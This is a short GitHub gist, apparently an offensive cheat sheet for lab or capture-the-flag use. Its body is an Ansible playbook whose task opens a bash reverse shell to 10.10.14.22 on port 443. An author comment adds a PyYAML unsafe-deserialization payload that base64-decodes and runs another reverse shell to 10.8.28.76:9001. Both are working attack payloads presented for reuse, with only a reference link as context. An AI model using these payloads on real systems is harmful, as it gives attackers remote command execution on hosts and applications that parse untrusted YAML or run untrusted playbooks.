Skip to content

Instantly share code, notes, and snippets.

@Reelix
Created March 18, 2023 12:02
Show Gist options
  • Save Reelix/32ccf1baaa3066654a460265fca53960 to your computer and use it in GitHub Desktop.
Save Reelix/32ccf1baaa3066654a460265fca53960 to your computer and use it in GitHub Desktop.
Ansible Playbook Reverse Shell
- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'
@Reelix
Copy link
Author

Reelix commented Mar 18, 2023

@Reelix
Copy link
Author

Reelix commented Jun 27, 2025

yaml.load(data)

!!python/object/new:os.system ["echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjguMjguNzYvOTAwMSA8JjE=|base64 -d|bash"]

Ref: https://dev.to/fkkarakurt/be-careful-when-using-yaml-in-python-there-may-be-security-vulnerabilities-3cdb

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment